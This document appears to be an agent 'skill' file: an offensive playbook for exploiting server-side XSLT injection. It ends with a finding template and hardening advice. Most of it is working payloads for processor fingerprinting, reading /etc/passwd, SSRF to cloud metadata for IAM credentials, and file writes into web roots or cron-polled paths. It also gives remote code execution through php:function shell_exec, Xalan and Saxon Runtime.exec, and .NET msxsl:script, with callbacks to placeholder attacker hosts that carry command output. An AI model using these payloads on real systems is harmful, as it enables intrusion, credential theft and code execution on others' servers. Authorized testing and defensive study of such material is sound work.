name: exploiting-xslt-server-side-injection description: Exploiting server-side XSLT injection where an application transforms XML with attacker-influenced stylesheets, enabling processor fingerprinting, local file read, SSRF, file write, and remote code execution via processor-specific extension functions (libxslt/lxml, Saxon, Xalan, .NET msxsl:script, PHP php:function). Activates when XSL/XSLT content or document/stylesheet references reach a server-side transformer. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- xslt-injection
- ssrf
- rce
- owasp
- web-security version: '1.0' author: xalgorix license: Apache-2.0
Exploiting XSLT Server-Side Injection
When to Use
- During authorized tests where the server transforms XML to HTML/PDF/CSV using XSLT
- When you can upload or influence an
.xslstylesheet, or the XML references an external stylesheet - When PDF/report generators, document converters, or ESI
stylesheet=params perform transforms - When XXE payloads fail but the stylesheet parser itself is still attacker-reachable
- When you see frameworks: libxslt (PHP/lxml/GNOME), Saxon (Java), Xalan (Apache), .NET, MSXML
Critical: Variants Most Often Missed
The biggest miss is stopping at generic XXE. Fingerprint the processor first, then switch to processor-specific primitives — a failed document('/etc/passwd') or failed Java call does NOT mean the engine is hardened.
<!-- 1. FINGERPRINT: identify version + vendor before anything else -->
<xsl:value-of select="system-property('xsl:version')"/>
<xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:value-of select="system-property('xsl:vendor-url')"/>
<xsl:value-of select="system-property('xsl:product-name')"/>
<!-- 2. FILE READ — vary by processor -->
<!-- Saxon (XSLT 2.0): unparsed-text reads ANY text file -->
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
<!-- libxslt: document() works for XML; /etc/passwd often FAILS because parsed as XML -->
<xsl:value-of select="document('/etc/passwd')"/> <!-- may error -->
<xsl:value-of select="document('/path/to/file.xml')"/> <!-- works if valid XML -->
<!-- PHP/libxslt extension -->
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')"/>
<!-- DTD external entity inside the stylesheet -->
<!DOCTYPE x [<!ENTITY ext SYSTEM "file:///etc/passwd">]> ... &ext;
<!-- 3. SSRF -->
<xsl:value-of select="document('http://169.254.169.254/latest/meta-data/')"/>
<xsl:include href="http://127.0.0.1:8000/xslt"/> <!-- include fetched BEFORE access control -->
<xsl:value-of select="document('http://example.com:22')"/> <!-- port probe -->
<!-- 4. FILE WRITE -->
<!-- libxslt EXSLT secondary output -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/var/www/html/test.txt" method="text">0xdf was here!</exsl:document>
</xsl:template>
</xsl:stylesheet>
<!-- Saxon -->
<xsl:result-document href="local_file.txt"><xsl:text>Write Local File</xsl:text></xsl:result-document>
<!-- 5. RCE — processor-specific extension functions -->
<!-- PHP php:function -->
<xsl:value-of select="php:function('shell_exec','id')"/>
<!-- Xalan (Java) -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:variable name="r" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/>
</xsl:stylesheet>
<!-- Saxon (java: prefix, needs ALLOW_EXTERNAL_FUNCTIONS) -->
<xsl:stylesheet version="2.0" xmlns:rt="java:java.lang.Runtime"> ...
<xsl:value-of select="rt:exec($r,'bash -c id > /tmp/saxon_pwned')"/>
<!-- .NET msxsl:script (only if EnableScript=true; unsupported on .NET Core/5+) -->
<msxsl:script language="C#" implements-prefix="user"><![CDATA[
public string run(){System.Diagnostics.Process.Start("cmd.exe","/c ping attacker");return "ok";}
]]></msxsl:script>
How to CONFIRM a hit (avoid false negatives)
- Fingerprint success: response shows
Version: 2.0,Vendor: SAXON 9.xetc. → injection confirmed, pick the right payload set. - File read:
/etc/passwdcontent (regexroot:.*?:0:0:) or target file bytes appear in the transformed output. - SSRF: out-of-band callback hits your collaborator, OR
document('http://host:22')returns a connect/timing difference per port. - File write: re-fetch the written path (e.g.
/test.txt) and see your marker. Remember XML encoding — use&for a literal&, not%26. - Blind RCE: when only a boolean/object reference comes back, pivot to DNS/HTTP callbacks, time delays (
shell_exec('sleep 10')), or file writes — do not expect stdout. - Hardening is partial:
document('/etc/passwd')failing on libxslt doesn't rule outphp:function/SSRF; a blocked Java call on Saxon doesn't rule outdoc()/unparsed-text().
Workflow
Step 1: Detect & Fingerprint
# Local repro environment
sudo apt-get install -y default-jdk libsaxonb-java libsaxon-java
saxonb-xslt -xsl:detection.xsl xml.xml # prints Version + Vendor
Submit the system-property() stylesheet to the target and read the vendor string from the response.
Step 2: Exploit per processor
libxslt/PHP -> php:function('file_get_contents'/'shell_exec'), document() SSRF, exsl:document write
Saxon -> unparsed-text() read, result-document write, java: RCE if ext funcs enabled
Xalan -> java.lang.Runtime exec (Java extension namespace)
.NET -> document() SSRF/LFI always; msxsl:script RCE only on .NET Framework w/ EnableScript
Step 3: Escalate to RCE / Impact
<!-- Confirm RCE blindly with a callback, then upgrade -->
<xsl:value-of select="php:function('shell_exec','curl http://COLLABORATOR/$(id|base64)')"/>
Practical write workflow: first write a marker into a web-served path to prove the primitive, then write into an execution sink already on the host (cron-polled dir, auto-reload path, scheduled task input).
Hardening-bypass notes
- lxml:
XSLTAccessControldefaults to allowing file/network and only mediates transform-time I/O;xsl:import/xsl:includeare parsed BEFORE that hook, so attacker stylesheets still load. - Apps often harden the XML parser (
resolve_entities=False,no_network=True) but leave the stylesheet parser default — XSLT features stay reachable.
Key Concepts
| Concept | Description |
|---|---|
| Processor fingerprinting | system-property('xsl:vendor'/'xsl:version') selects the right exploit path |
| document() vs unparsed-text() | libxslt document() expects XML; Saxon unparsed-text() reads any text |
| Extension functions | php:function, java:/Xalan Runtime, msxsl:script enable RCE |
| EXSLT / result-document | exsl:document (libxslt) and xsl:result-document (Saxon) write files |
| include/import pre-ACL | xsl:include is fetched before access-control checks → SSRF/stylesheet load |
| Blind RCE | Boolean/object return → pivot to callbacks, delays, file writes |
Tools & Systems
| Tool | Purpose |
|---|---|
| saxonb-xslt | Local Saxon CLI for building/testing payloads |
| xsltproc / libxslt | Local libxslt repro |
| Burp Suite | Deliver stylesheets, capture transformed output, drive OOB |
| Collaborator / interactsh | Confirm blind SSRF & RCE callbacks |
| PayloadsAllTheThings (XSLT Injection) | Payload reference |
| Auto_Wordlists/xslt.txt | Detection/exploit payload list |
Common Scenarios
Scenario 1: PDF Generator File Read
A reporting endpoint transforms user XML into a PDF with Saxon. Injecting unparsed-text('/etc/passwd') embeds the password file into the generated PDF.
Scenario 2: PHP libxslt RCE
A PHP app applies a user-controlled stylesheet. php:function('shell_exec','id') is enabled by default in many libxslt/PHP setups, giving direct command execution.
Scenario 3: SSRF to Cloud Metadata
A .NET converter blocks msxsl:script but document('http://169.254.169.254/latest/meta-data/iam/security-credentials/') succeeds, leaking cloud IAM credentials.
Output Format
## XSLT Server-Side Injection Finding
**Vulnerability**: XSLT Server-Side Injection
**Severity**: Critical (CVSS 9.1–9.8 for RCE; High for LFI/SSRF)
**Location**: POST /report/transform (XML/XSL upload or stylesheet= parameter)
**OWASP Category**: A03:2021 - Injection (with A10 SSRF when applicable)
### Reproduction Steps
1. Submit system-property() stylesheet → response shows Vendor: SAXON 9.1.0.8.
2. Submit unparsed-text('/etc/passwd') → /etc/passwd contents returned in output.
3. With ext funcs enabled, java:java.lang.Runtime exec triggers a collaborator callback (RCE).
### Evidence
| Payload | Result | Capability |
|---------|--------|-----------|
| system-property('xsl:vendor') | SAXON 9.1.0.8 | Fingerprint |
| unparsed-text('/etc/passwd') | root:x:0:0:... | File read |
| rt:exec(...,'curl COLLAB') | DNS/HTTP callback | RCE |
### Impact
Local file disclosure, SSRF (incl. cloud metadata), arbitrary file write, and remote code execution depending on processor and enabled extension functions.
### Recommendation
1. Never transform attacker-controlled stylesheets; pin trusted, static XSL.
2. Disable extension functions (PHP `php:function`, Saxon `ALLOW_EXTERNAL_FUNCTIONS`, .NET `EnableScript`).
3. Restrict the processor's file/network access (lxml `XSLTAccessControl`, `no_network=True`, resolver=None).
4. Run the transformer with least privilege and no outbound network access.